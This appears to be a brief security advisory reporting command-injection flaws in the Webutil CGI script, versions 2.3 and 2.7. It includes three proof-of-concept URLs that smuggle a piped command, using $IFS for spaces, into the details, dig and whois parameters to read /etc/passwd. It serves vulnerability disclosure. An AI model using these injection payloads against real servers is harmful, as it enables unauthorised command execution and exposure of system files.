source: https://www.securityfocus.com/bid/28393/info Webutil is prone to multiple vulnerabilities that attackers can leverage to execute arbitrary commands. These issues occur because the application fails to adequately sanitize user-supplied input. Successful attacks can compromise the affected application and possibly the underlying computer. These issues affect Webutil 2.3 and 2.7. http://www.example.com/cgi-bin/webutil.pl?details&|cat$IFS/etc/passwd http://www.example.com/cgi-bin/webutil.pl?dig&|cat$IFS/etc/passwd http://www.example.com/cgi-bin/webutil.pl?whois&|cat$IFS/etc/passwd